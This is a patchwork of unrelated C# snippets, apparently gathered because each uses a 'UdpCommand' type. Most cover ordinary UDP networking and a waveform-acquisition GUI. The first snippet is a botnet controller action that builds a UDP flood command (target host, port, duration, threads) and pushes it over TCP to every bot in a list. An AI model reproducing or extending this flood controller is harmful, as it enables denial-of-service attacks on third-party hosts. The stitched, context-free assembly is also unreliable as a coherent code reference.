public async Task <IActionResult> ExecuteUdp(UdpModel model) { var method = new BaseCommands { Method = "Udp" }; var Variables = new UdpVariables { Port = model.Port, Length = model.Length }; var FloodModel = new Server.Commands.BaseFloodModel { Host = model.Host, Time = model.Time, ThreadstoUse = model.ThreadstoUse, }; var Command = new UdpCommand { newUdpVariables = Variables, newBaseCommand = method, newBaseFloodModel = FloodModel }; var bots = new GetBotsByStatusQuery { status = model.Force }; var botlist = await _mediator.Send(bots); var response = CommandExecute.TcpConnects(botlist, JsonConvert.SerializeObject(Command).Replace(@"\", "")); return(Json(response)); }
public void Poll() { lock (_commandQueue) { while (_commandQueue.Count > 0) { UdpCommand command = _commandQueue.Dequeue(); switch (command) { case UdpCommand.Connect: byte[] connectionData = _dataQueue.Dequeue(); OnConnectionAccepted?.Invoke(connectionData); break; case UdpCommand.Disconnect: OnDisconnect?.Invoke(); break; case UdpCommand.Data: byte[] data = _dataQueue.Dequeue(); OnDataReceived?.Invoke(data); break; default: throw new ArgumentOutOfRangeException(); } } } }
public UdpFrame(int pSeq, UInt16 seq, UInt16 len, UdpCommand cmd, byte[] data) { PackageSeq = pSeq; Seq = seq; Command = cmd; Data = data; Length = len; IsProxy = false; UDPData = GetUdpPack(); }
protected async Task Handle(UdpCommand udpCommand) { using (var socket = new UdpClient()) { var uri = new Uri($"udp://{udpCommand.Address}"); socket.Connect(uri.Host, uri.Port); socket.Client.SetSocketOption(SocketOptionLevel.Socket, SocketOptionName.Broadcast, 0); await socket.SendAsync(udpCommand.Body, udpCommand.Body.Length); } }
public DisPlayWindow() { InitializeComponent(); HMainWindow = this; Dataproc.PreGraphEventHandler += OnWorkGraph; // Work波形事件处理方法连接到事件 Dataproc.OrigGraphEventHandler += OnOrigGraph; // Orig波形事件处理方法连接到事件 Dataproc.DelayGraphEventHandler += OnDelayWaveGraph; // Delay波形事件处理方法连接到事件 _dataFile = new DataFile(); //本地保存文件相关 UdpCommand = new UdpCommand(); //用于收发Udp命令 ConstUdpArg = new ConstUdpArg(); //获取Udp指令 led_normaldata.FalseBrush = new SolidColorBrush(Colors.Red); //正常工作指示灯 }
public UdpPackage(UdpCommand command, Reliability reliability, ulong token, byte[] payload) { if (payload == null) { payload = new byte[0]; } Command = command; Reliability = reliability; ConfirmationToken = token; Payload = payload; Length = 1 + 1 + payload.Length + sizeof(ulong); }
public UdpPackage(byte[] data, int packageID, int len, UInt16 proxyId, EndPoint target, bool isText) { UInt16 fseq = 0; Data = data; Target = target; CreateTime = DateTime.Now; PackageID = packageID; UdpCommand cmd = UdpCommand.Data; if (isText) { cmd = UdpCommand.Text; } if (data == null || data.Length == 0) { UdpFrame frame = new UdpFrame(packageID, fseq, 0, cmd, data, proxyId); Add(frame); } else { int curPos = 0; UInt16 flen = (UInt16)Math.Ceiling((double)data.Length / (double)len); while (true) { int l = len; if ((curPos + l) >= data.Length) { l = data.Length - curPos; } byte[] fdata = new byte[l]; Array.Copy(data, curPos, fdata, 0, l); UdpFrame frame = new UdpFrame(packageID, fseq, flen, cmd, fdata, proxyId); Add(frame); fseq++; curPos += len; if (curPos >= data.Length) { break; } } //UdpFrame f = this[this.Count - 1]; //if (f.Data != null) //{ // logger.Trace("最后一帧大小:{0} {1} {2}", f.PackageSeq, f.Seq, f.Data.Length); //} } }
public UdpFrame(int pSeq, UInt16 seq, UInt16 len, UdpCommand cmd, byte[] data, UInt16 proxyID) { PackageSeq = pSeq; Seq = seq; Command = cmd; Data = data; Length = len; if (proxyID > 0) { IsProxy = true; ProxyID = proxyID; } UDPData = GetUdpPack(); }
private void SendData(IPEndPoint endPoint, UdpCommand command, byte[] data, Reliability reliability) { int pos = 0; ulong token = reliability == Reliability.Reliable ? GenerateConfirmationToken() : 0; UdpPackage udpPackage = new UdpPackage(command, reliability, token, data); byte[] datagram = new byte[udpPackage.Length]; udpPackage.ToByteArray(datagram, pos); pos += udpPackage.Length; if (reliability == Reliability.Reliable) { Retransmission retransmission = new Retransmission(endPoint, datagram, token, RetransmissionCount); lock (_retransmissionQueue) { _retransmissionQueue.Add(retransmission); } } _udpClient.Send(datagram, datagram.Length, endPoint); }
void Button_Click(object sender, RoutedEventArgs e) { try { UdpCommand udpCommand = new UdpCommand(); udpCommand.SwitchWindow(ConstUdpArg.SwicthToNormalWindow); if (NormWaveData == null) { NormWaveData = new UdpWaveData(); NormWaveData.StartReceiveData(ConstUdpArg.Src_NormWaveIp); btn_normalstart.Content = "停止"; NormWaveData.StartRcvEvent.Set(); } else if (NormWaveData != null || NormWaveData.IsBuilded) { NormWaveData.Dispose(); NormWaveData = null; graph_normalTime.Dispatcher.Invoke(() => { graph_normalTime.DataSource = 0; graph_normalTime.Refresh(); }); graph_normalFrequency.Dispatcher.Invoke(() => { graph_normalFrequency.DataSource = 0; graph_normalFrequency.Refresh(); }); btn_normalstart.Content = "启动"; } } catch { Console.WriteLine(@"正常工作波形采集失败..."); MessageBox.Show(@"正常工作波形采集失败..."); } }